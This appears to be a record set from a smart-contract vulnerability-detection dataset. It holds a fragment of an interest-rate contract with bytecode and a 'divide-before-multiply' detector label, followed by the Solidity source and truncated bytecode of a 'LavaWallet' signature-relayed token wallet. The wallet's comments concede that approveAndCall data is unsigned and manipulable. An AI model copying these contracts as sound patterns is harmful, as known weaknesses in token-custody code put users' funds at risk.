function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa);
uint borrowRate = getBorrowRate(cash, borrows, reserves);
uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638726bb891161005b5780638726bb8914610102578063a385fb961461010a578063b816881614610112578063f14039de146101415761007d565b806315f24053146100825780632191f92a146100bd5780636e71e2d8146100d9575b600080fd5b6100ab6004803603606081101561009857600080fd5b5080359060208101359060400135610149565b60408051918252519081900360200190f35b6100c56101a3565b604080519115158252519081900360200190f35b6100ab600480360360608110156100ef57600080fd5b50803590602081013590604001356101a8565b6100ab6101fa565b6100ab610200565b6100ab6004803603608081101561012857600080fd5b5080359060208101359060408101359060600135610207565b6100ab610286565b6000806101578585856101a8565b905061019860015461018c670de0b6b3a76400006101806000548661028c90919063ffffffff16565b9063ffffffff6102ee16565b9063ffffffff61033016565b9150505b9392505050565b600181565b6000826101b75750600061019c565b6101f26101da836101ce878763ffffffff61033016565b9063ffffffff61038a16565b61018085670de0b6b3a764000063ffffffff61028c16565b949350505050565b60005481565b6220148081565b600080610222670de0b6b3a76400008463ffffffff61038a16565b90506000610231878787610149565b90506000610251670de0b6b3a7640000610180848663ffffffff61028c16565b905061027a670de0b6b3a76400006101808361026e8c8c8c6101a8565b9063ffffffff61028c16565b98975050505050505050565b60015481565b60008261029b575060006102e8565b828202828482816102a857fe5b04146102e55760405162461bcd60e51b81526004018080602001828103825260218152602001806104c96021913960400191505060405180910390fd5b90505b92915050565b60006102e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506103cc565b6000828201838110156102e5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006102e583836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f770081525061046e565b600081836104585760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561041d578181015183820152602001610405565b50505050905090810190601f16801561044a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161046457fe5b0495945050505050565b600081848411156104c05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561041d578181015183820152602001610405565b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158209f79c334265842b1294b9a96eeff252c7ffbcdaa2e280c4061f62af35f29740864736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,493 |
0xe4af56a674df3da83b22a04eeeaf983d40a9e1ab
|
pragma solidity ^0.4.18;
library ECRecovery {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
This is a token wallet contract
Store your tokens in this contract to give them super powers
Tokens can be spent from the contract with only an ecSignature from the owner - onchain approve is not needed
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC918Interface {
function totalSupply() public constant returns (uint);
function getMiningDifficulty() public constant returns (uint);
function getMiningTarget() public constant returns (uint);
function getMiningReward() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract MiningKingInterface {
function getMiningKing() public returns (address);
function transferKing(address newKing) public;
function mint(uint256 nonce, bytes32 challenge_digest) returns (bool);
event TransferKing(address from, address to);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract LavaWallet {
using SafeMath for uint;
// balances[tokenContractAddress][EthereumAccountAddress] = 0
mapping(address => mapping (address => uint256)) balances;
//token => owner => spender : amount
mapping(address => mapping (address => mapping (address => uint256))) allowed;
//mapping(address => uint256) depositedTokens;
mapping(bytes32 => uint256) burnedSignatures;
address relayKingContract;
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event Transfer(address indexed from, address indexed to,address token, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens);
function LavaWallet(address relayKingContractAddress ) public {
relayKingContract = relayKingContractAddress;
}
//do not allow ether to enter
function() public payable {
revert();
}
//Remember you need pre-approval for this - nice with ApproveAndCall
function depositTokens(address from, address token, uint256 tokens ) public returns (bool success)
{
//we already have approval so lets do a transferFrom - transfer the tokens into this contract
if(!ERC20Interface(token).transferFrom(from, this, tokens)) revert();
balances[token][from] = balances[token][from].add(tokens);
// depositedTokens[token] = depositedTokens[token].add(tokens);
Deposit(token, from, tokens, balances[token][from]);
return true;
}
//No approve needed, only from msg.sender
function withdrawTokens(address token, uint256 tokens) public returns (bool success){
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
if(!ERC20Interface(token).transfer(msg.sender, tokens)) revert();
Withdraw(token, msg.sender, tokens, balances[token][msg.sender]);
return true;
}
//Requires approval so it can be public
function withdrawTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
if(!ERC20Interface(token).transfer(to, tokens)) revert();
Withdraw(token, from, tokens, balances[token][from]);
return true;
}
function balanceOf(address token,address user) public constant returns (uint) {
return balances[token][user];
}
function allowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[token][tokenOwner][spender];
}
//Can also be used to remove approval by using a 'tokens' value of 0. P.S. it makes no sense to do an ApproveTokensFrom
function approveTokens(address spender, address token, uint tokens) public returns (bool success) {
allowed[token][msg.sender][spender] = tokens;
Approval(msg.sender, token, spender, tokens);
return true;
}
///transfer tokens within the lava balances
//No approve needed, only from msg.sender
function transferTokens(address to, address token, uint tokens) public returns (bool success) {
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(msg.sender, token, to, tokens);
return true;
}
///transfer tokens within the lava balances
//Can be public because it requires approval
function transferTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(token, from, to, tokens);
return true;
}
//Nonce is the same thing as a 'check number'
//EIP 712
function getLavaTypedDataHash(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce) public constant returns (bytes32)
{
bytes32 hardcodedSchemaHash = 0x8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb37; //with methodname
bytes32 typedDataHash = sha3(
hardcodedSchemaHash,
sha3(methodname,from,to,this,token,tokens,relayerReward,expires,nonce)
);
return typedDataHash;
}
function tokenApprovalWithSignature(bool requiresKing, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, bytes32 sigHash, bytes signature) internal returns (bool success)
{
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
//make sure the signer is the depositor of the tokens
if(from != recoveredSignatureSigner) revert();
if(msg.sender != getRelayingKing() && requiresKing ) revert(); // you must be the 'king of the hill' to relay
//make sure the signature has not expired
if(block.number > expires) revert();
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1; //spent
if(burnedSignature != 0x0 ) revert();
//approve the relayer reward
allowed[token][from][msg.sender] = relayerReward;
Approval(from, token, msg.sender, relayerReward);
//transferRelayerReward
if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert();
//approve transfer of tokens
allowed[token][from][to] = tokens;
Approval(from, token, to, tokens);
return true;
}
function approveTokensFromAnyWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash('anyApprove',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(false,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
return true;
}
function approveTokensFromKingWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash('kingApprove',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(true,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
return true;
}
//the tokens remain in lava wallet
function transferTokensFromAnyWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('anyTransfer',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(false,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!transferTokensFrom( from, to, token, tokens)) revert();
return true;
}
//The tokens are withdrawn from the lava wallet and transferred into the To account
function transferTokensFromKingWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('kingTransfer',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(true,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!transferTokensFrom( from, to, token, tokens)) revert();
return true;
}
//the tokens remain in lava wallet
function withdrawTokensFromAnyWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('anyWithdraw',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(false,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!withdrawTokensFrom( from, to, token, tokens)) revert();
return true;
}
//The tokens are withdrawn from the lava wallet and transferred into the To account
function withdrawTokensFromKingWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('kingWithdraw',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(true,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!withdrawTokensFrom( from, to, token, tokens)) revert();
return true;
}
function burnSignature(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce);
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
//make sure the invalidator is the signer
if(recoveredSignatureSigner != from) revert();
//only the original packet owner can burn signature, not a relay
if(from != msg.sender) revert();
//make sure this signature has never been used
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2; //invalidated
if(burnedSignature != 0x0 ) revert();
return true;
}
//2 is burned
//1 is redeemed
function signatureBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
/*
Receive approval to spend tokens and perform any action all in one transaction
*/
function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) {
return depositTokens(from, token, tokens );
}
/*
Approve lava tokens for a smart contract and call the contracts receiveApproval method all in one fell swoop
One issue: the data is not being signed and so it could be manipulated
*/
function approveAndCall(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature ) public {
bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce);
bool requiresKing = getRequiresKing(methodname);
if(!tokenApprovalWithSignature(requiresKing,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, methodname);
}
function getRelayingKing() public returns (address)
{
return MiningKingInterface(relayKingContract).getMiningKing();
}
function getRequiresKing(bytes methodname) pure internal returns (bool)
{
return (bytesEqual(methodname,'kingTransfer') || bytesEqual(methodname,'kingWithdraw') || bytesEqual(methodname,'kingApprove'));
}
function bytesEqual(bytes b1,bytes b2) pure internal returns (bool)
{
if(b1.length != b2.length) return false;
for (uint i=0; i<b1.length; i++) {
if(b1[i] != b2[i]) return false;
}
return true;
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306b091f914610117578063094171101461017c57806324b0ff0f146101c157806331513039146102ca57806339dc5ef2146103d35780633c7e03c11461045857806347e57351146104af5780634b17bdd8146105b857806354c5f8501461065d57806355f25e3f146107665780638f4ffcb114610873578063912d6e281461093e578063927da105146109c3578063a64b6e5f14610a5a578063b0e0ef0914610adf578063bd4bb67e14610b84578063c272f73e14610c8d578063d4d1b7da14610ddc578063f03e786a14610ee5578063f7888aec1461101c575b600080fd5b34801561012357600080fd5b50610162600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611093565b604051808215151515815260200191505060405180910390f35b34801561018857600080fd5b506101ab60048036038101908080356000191690602001909291905050506113b7565b6040518082815260200191505060405180910390f35b3480156101cd57600080fd5b506102b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506113dc565b604051808215151515815260200191505060405180910390f35b3480156102d657600080fd5b506103b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611454565b604051808215151515815260200191505060405180910390f35b3480156103df57600080fd5b5061043e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114e3565b604051808215151515815260200191505060405180910390f35b34801561046457600080fd5b5061046d61183c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104bb57600080fd5b5061059e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611904565b604051808215151515815260200191505060405180910390f35b3480156105c457600080fd5b50610643600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611993565b604051808215151515815260200191505060405180910390f35b34801561066957600080fd5b5061074c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611ddd565b604051808215151515815260200191505060405180910390f35b34801561077257600080fd5b50610855600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611e6c565b60405180826000191660001916815260200191505060405180910390f35b34801561087f57600080fd5b50610924600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612066565b604051808215151515815260200191505060405180910390f35b34801561094a57600080fd5b506109a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061207d565b604051808215151515815260200191505060405180910390f35b3480156109cf57600080fd5b50610a44600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121e1565b6040518082815260200191505060405180910390f35b348015610a6657600080fd5b50610ac5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506122a6565b604051808215151515815260200191505060405180910390f35b348015610aeb57600080fd5b50610b6a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612566565b604051808215151515815260200191505060405180910390f35b348015610b9057600080fd5b50610c73600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612a15565b604051808215151515815260200191505060405180910390f35b348015610c9957600080fd5b50610dc2600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612aa4565b604051808215151515815260200191505060405180910390f35b348015610de857600080fd5b50610ecb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612cae565b604051808215151515815260200191505060405180910390f35b348015610ef157600080fd5b5061101a600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612d26565b005b34801561102857600080fd5b5061107d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ecb565b6040518082815260200191505060405180910390f35b6000611123826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f5190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561124557600080fd5b505af1158015611259573d6000803e3d6000fd5b505050506040513d602081101561126f57600080fd5b8101908080519060200190929190505050151561128b57600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5678333846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a16001905092915050565b6000600260008360001916600019168152602001908152602001600020549050919050565b6000806114246040805190810160405280600b81526020017f6b696e67417070726f76650000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611e6c565b905061143860018b8b8b8b8b8b888b612f6a565b151561144357600080fd5b600191505098975050505050505050565b60008061149c6040805190810160405280600b81526020017f616e795472616e736665720000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611e6c565b90506114b060008b8b8b8b8b8b888b612f6a565b15156114bb57600080fd5b6114c78a8a8a8a611993565b15156114d257600080fd5b600191505098975050505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff166323b872dd8530856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156115bc57600080fd5b505af11580156115d0573d6000803e3d6000fd5b505050506040513d60208110156115e657600080fd5b8101908080519060200190929190505050151561160257600080fd5b611690826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d78385846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe4d62f96040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156118c457600080fd5b505af11580156118d8573d6000803e3d6000fd5b505050506040513d60208110156118ee57600080fd5b8101908080519060200190929190505050905090565b60008061194c6040805190810160405280600c81526020017f6b696e67576974686472617700000000000000000000000000000000000000008152508b8b8b8b8b8b8b611e6c565b905061196060018b8b8b8b8b8b888b612f6a565b151561196b57600080fd5b6119778a8a8a8a612566565b151561198257600080fd5b600191505098975050505050505050565b6000611a23826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f5190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f5190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cb9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f8685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a360019050949350505050565b600080611e256040805190810160405280600b81526020017f616e7957697468647261770000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611e6c565b9050611e3960008b8b8b8b8b8b888b612f6a565b1515611e4457600080fd5b611e508a8a8a8a612566565b1515611e5b57600080fd5b600191505098975050505050505050565b60008060007f8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb376001029150818b8b8b308c8c8c8c8c604051808a805190602001908083835b602083101515611ed65780518252602082019150602081019050602083039250611eb1565b6001836020036101000a0380198251168184511680821785525050505050509050018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018581526020018481526020018381526020018281526020019950505050505050505050604051809103902060405180836000191660001916815260200182600019166000191681526020019250505060405180910390209050809250505098975050505050505050565b60006120738584866114e3565b9050949350505050565b600081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a618685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a3600190509392505050565